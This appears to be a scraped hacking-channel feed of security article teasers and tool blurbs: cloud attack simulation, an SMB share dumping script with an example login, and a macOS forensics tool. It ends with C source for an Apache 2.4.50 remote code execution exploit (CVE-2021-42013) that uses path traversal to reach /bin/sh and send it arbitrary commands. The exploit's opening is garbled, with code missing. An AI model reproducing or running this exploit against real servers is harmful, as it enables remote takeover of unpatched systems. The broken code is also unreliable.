Hacking on Medium
Hacking Nginx: Best ways

https://cdn-images-1.medium.com/max/1024/1*Vgr4dyEiRLDDe-SAbpw5Xg.png
Nginx is being used in the wild since a while now. We all have seen NGINX name somewhere while coding/hacking. NGINX has always been a…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Replace the Linux Console Login with something Different.

https://cdn-images-1.medium.com/max/1081/1*Y9AWuhrRKUExWOkCq3Tirg.png
This is intended to inspire creative change to a Home Lab setup, it’s not designed for a production data center. So don’t. Just don’t do…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Inside a Hacker’s Mind: How To Steal Someone’s Password with 4 Easy Steps?

https://cdn-images-1.medium.com/max/2600/0*1IA6Uv7wLGF6je58
What is a hacker, and how do they steal your data? Do you want to learn hack!? How to protect yourself or your company from cyber…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
AWS-Threat-Simulation-and-Detection - Playing Around With Stratus Red Team (Cloud Attack Simulation Tool) And SumoLogic

https://blogger.googleusercontent.com/img/a/AVvXsEiq9S_3mgpnZGdPiDBJm_LNyeHqKIKzcobbEo5QmI5WpQ0HM47yXQBqxNGAiBGfeROdS0yiADMboRiS_8xY56M2wOn7ZsOg_cM19dzUw0TL-YXQajYfwFPLQvqN0_3ceIAh9UIWPtHaPENh35Ehv4xAHolQuCiZsLQlQQo09WeIVP2ivSoEuMfdbtJ-=w640-h252 This repository is a documentation of my adventures with Stratus Red Team - a tool for adversary emulation for the cloud.

Stratus Red Team is "Atomic Red Team for the cloud, allowing to emulate offensive attack techniques in a granular and self-contained manner.
We run the attacks covered in the Stratus Red Team repository one by one on our AWS account. In order to monitor them, we will use CloudTrail and CloudWatch for logging and ingest these logs into SumoLogic for further analysis. https://blogger.googleusercontent.com/img/a/AVvXsEgHdj3sBysKTcEpKM2i8eRsDDRMRSnQvdtebpFobUXb0Wl5AeBzUUd-d77fuwUfILClhaSs-4p-fjPXDiovLlGqVZvwWMOpZ4AU5cz7WNpbY-Z0tHVqGpq11GrBwRDSF5P7nQDDKd66AS2vQPC3dr-GQ4I8r-aJy2mJbHGNfO00GwZkiRDUYl5BguSa=w640-h282 Attack Description Link aws.credential-access.ec2-get-password-data Retrieve EC2 Password Data Link aws.credential-access.ec2-steal-instance-credentials Steal EC2 Instance Credentials Link aws.credential-access.secretsmanager-retrieve-secrets Retrieve a High Number of Secrets Manager secrets Link aws.credential-access.ssm-retrieve-securestring-parameters Retrieve And Decrypt SSM Parameters Link aws.defense-evasion.cloudtrail-delete Delete CloudTrail Trail Link aws.defense-evasion.cloudtrail-event-selectors Disable CloudTrail Logging Through Event Selectors Link aws.defense-evasion.cloudtrail-lifecycle-rule CloudTrail Logs Impairment Through S3 Lifecycle Rule Link aws.defense-evasion.cloudtrail-stop Stop CloudTrail Trail Link aws.defense-evasion.organizations-leave Attempt to Leave the AWS Organization Link aws.defense-evasion.vpc-remove-flow-logs Remove VPC Flow Logs Link aws.discovery.ec2-enumerate-from-instance Execute Discovery Commands on an EC2 Instance Link aws.discovery.ec2-download-user-data Download EC2 Instance User Data TBD aws.exfiltration.ec2-security-group-open-port-22-ingress Open Ingress Port 22 on a Security Group Link aws.exfiltration.ec2-share-ami Exfiltrate an AMI by Sharing It Link aws.exfiltration.ec2-share-ebs-snapshot Exfiltrate EBS Snapshot by Sharing It Link aws.exfiltration.rds-share-snapshot Exfiltrate RDS Snapshot by Sharing Link aws.exfiltration.s3-backdoor-bucket-policy Backdoor an S3 Bucket via its Bucket Policy Link aws.persistence.iam-backdoor-role Backdoor an IAM Role Link aws.persistence.iam-backdoor-user Create an Access Key on an IAM User TBD aws.persistence.iam-create-admin-user Create an administrative IAM User TBD aws.persistence.iam-create-user-login-profile Create a Login Profile on an IAM User TBD aws.persistence.lambda-backdoor-function Backdoor Lambda Function Through Resource-Based Policy TBD Credits1. Awesome team at Datadog, Inc. for Stratus Red Team here
2. Hacking the Cloud AWS
3. Falcon Force team blog Download AWS-Threat-Simulation-and-Detection

___________________________
@hacking_Attack
@Hacking_Video

What I learnt from reading 126* Information Disclosure Writeups.
https://medium.com/@Sm9l/what-i-learnt-from-reading-126-information-disclosure-writeups-d896c5d5a2a4?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Let’s tackle the most valuable and mysterious bug type…Continue reading on Medium » (https://medium.com/@Sm9l/what-i-learnt-from-reading-126-information-disclosure-writeups-d896c5d5a2a4?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking Nginx: Best ways
https://infosecwriteups.com/hacking-nginx-best-ways-7c576cc17ccc?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Nginx is being used in the wild since a while now. We all have seen NGINX name somewhere while coding/hacking. NGINX has always been a…Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/hacking-nginx-best-ways-7c576cc17ccc?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
DumpSMBShare : A Script To Dump Files And Folders Remotely From A Windows SMB Share

DumpSMBShare is a script to dump files and folders remotely from a Windows SMB share.

Features

* Only list shares with --list-shares.
* Select only files with given extensions (with --extensions) or all files.
* Choose the local folder to dump to with --dump-dir.
* Select base folder to search from in the share with --base-dir.

Usage

$ ./DumpSMBShare.py -h
DumpSMBShare v1.2 – by @podalirius_
usage: Dump.py [-h] (-s SHARE | -l) [-e EXTENSIONS] [-D DUMP_DIR] [-f FILE] [-B BASE_DIR] [–debug] [-q] [-H LMHASH:NTHASH] [–no-pass] [-k] [-A hex key]
[–dc-ip ip address] [-I ip address] [-P [destination port]]
target
positional arguments:
target [[domain/]username[:password]@]
optional arguments:
-h, –help show this help message and exit
-s SHARE, –share SHARE
SMB Share to dump
-l, –list-shares Lists SMB shares.
-e EXTENSIONS, –extensions EXTENSIONS
Extensions
-D DUMP_DIR, –dump-dir DUMP_DIR
Dump directory
-f FILE, –file FILE SMB file to dump
-B BASE_DIR, –base-dir BASE_DIR
Directory to search in (Default: /)
–debug Turn on debug output. (Default: False)
-q, –quiet Turn DEBUG output ON
authentication:
-H LMHASH:NTHASH, –hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
–no-pass Don’t ask for password (useful for -k)
-k, –kerberos Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot
be found, it will use the ones specified in the command line
-A hex key, –aesKey hex key
AES key to use for Kerberos Authentication (128 or 256 bits)connection:
–dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-I ip address, –target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS
name and you cannot resolve it
-P [destination port], –port [destination port]
Destination port to connect to SMB Server

Example

* Dump all files from the SYSVOLshare:
* ./DumpSMBShare.py ‘LAB.local/user2:Admin123@192.168.2.1’ –debug
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHeDhejBvNpSsQMCfThT1OCwAff0SLqVnBwuPlj6Wa5jY61OLnCIpKuRldJTwrTQL-TVA1npRLVYQNA1PaJV3dPTHIUF5KlKIa19UoBbfNklcFJfwEAHC_mGkUPWN3INihZzBMrPR69-TNCmkD4O3B4PPJ_sK7M2h7uUdMXEH8h4QWpejZlbnTuWPS/s1914/1.png https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSEg3_xR9PbtFHD8IrDQTK3zFusc1JsFyGSEklZh6CK2M0CIxX5Epgyisc_xomSKLLEqUlMKIA97DSJPOYJSImqeNJeMLeT3rwhTeLIU0yxkUFluUPVAiLUxK-_B4J8s6yvdPkEu7axKzIbi5faGsf_UKM0Hor3OmsLLII8uteaYGjx5Ej7svXeDYU/s1545/2.png

Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Ma2Tl : macOS Forensic Timeline Generator Using The Analysis Result DBs Of Mac_Apt

Ma2Tl is a DFIR tool for generating a macOS forensic timeline from the analysis result DBs of mac_apt.

Requirements

* Python 3.7.0 or later
* pytz
* tzlocal
* xlsxwriter

Installation

% git clone https://github.com/mnrkbys/ma2tl.git

Usage

% python ./ma2tl.py -h
usage: ma2tl.py [-h] [-i INPUT] [-o OUTPUT] [-ot OUTPUT_TYPE] [-s START] [-e END] [-t TIMEZONE] [-l LOG_LEVEL] plugin [plugin …]
Forensic timeline generator using mac_apt analysis results. Supports only SQLite DBs.
positional arguments:
plugin Plugins to run (space separated).
optional arguments:
-h, –help show this help message and exit
-i INPUT, –input INPUT
Path to a folder that contains mac_apt DBs.
-o OUTPUT, –output OUTPUT
Path to a folder to save ma2tl result.
-ot OUTPUT_TYPE, –output_type OUTPUT_TYPE
Specify the output file type: SQLITE, XLSX, TSV (Default: SQLITE)
-s START, –start START
Specify start timestamp. (ex. 2021-11-05 08:30:00)
-e END, –end END Specify end timestamp.
-t TIMEZONE, –timezone TIMEZONE
Specify Timezone: “UTC”, “Asia/Tokyo”, “US/Eastern”, etc (Default: System Local Timezone)
-l LOG_LEVEL, –log_level LOG_LEVEL
Specify log level: INFO, DEBUG, WARNING, ERROR, CRITICAL (Default: INFO)
The following 4 plugins are available:
FILE_DOWNLOAD Extract file download activities.
PERSISTENCE Extract persistence settings.
PROG_EXEC Extract program execution activities.
VOLUME_MOUNT Extract volume mount/unmount activities.
—————————————————————————-
ALL Run all plugins

Generated timeline example
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEj1GkVQVV4bSiRrI_oWUL8LthMykR4ZlTzKb5oL41oBnMGmYU5FIRlbWeHS7Y3qr5MLlxKzO6GUvkG3fqpQYvpkpNyjusCl6dpepxTl0AqoA-XZSfcK86P-9Rh6DRoA4MulWlmbr_Nn7WH_opdLm5IVtQBc1HkEmQPpW-tF5rH2UTnIAlG9LhTyFT/s2000/demo_scenario.png

Download

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Apache 2.4.50 Remote Code Execution

https://1.bp.blogspot.com/-CxGUMLkxSaY/WWlvcQOBNxI/AAAAAAAAIPc/zOKm_r-QYksdaJn5z44Zj2ZlNH1F7PBGQCLcBGAs/s1600/h75.png
Apache version 2.4.50 remote code execution exploit that leverages a traversal as identified in CVE-2021-42013. Written in C.

SHA-256 | 64d8677bc7be110891aa555bf10e259d5602cd7d458c4a59da80719f277ba28b

Download
#include data, memory->size+nmemb+1);
memory->data = ptr;
memcpy(&(memory->data[memory->size]), pointer, nmemb);
memory->size += nmemb;
memory->data[memory->size] = 0;
return nmemb;
}

bool exploit(void* result, char* host, char* exec)
{
CURL *curl = curl_easy_init();
char url[256];
sprintf(url, "%s/cgi-bin/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/bin/sh", host);
curl_easy_setopt(curl, CURLOPT_URL, url);
char payload[256];
sprintf(payload, "echo Content-Type: text/plain; echo; %s", exec);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, payload);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, callback);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, result);
int res = curl_easy_perform(curl);
if (res != CURLE_OK)
return error(curl_easy_strerror(res));
curl_easy_cleanup(curl);
return true;
}

int main(int argc, char* argv[])
{
if (argc != 3)
return usage(argv[0]);
struct callback_result result = {0};
bool res = exploit(&result, argv[1], argv[2]);
if (res)
printf("[+] Exploit finished successfully, check output\n");
else
printf("[-] Exploit failed, check output\n");
printf(" \n%s\n", result.data);
return 0;
}

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video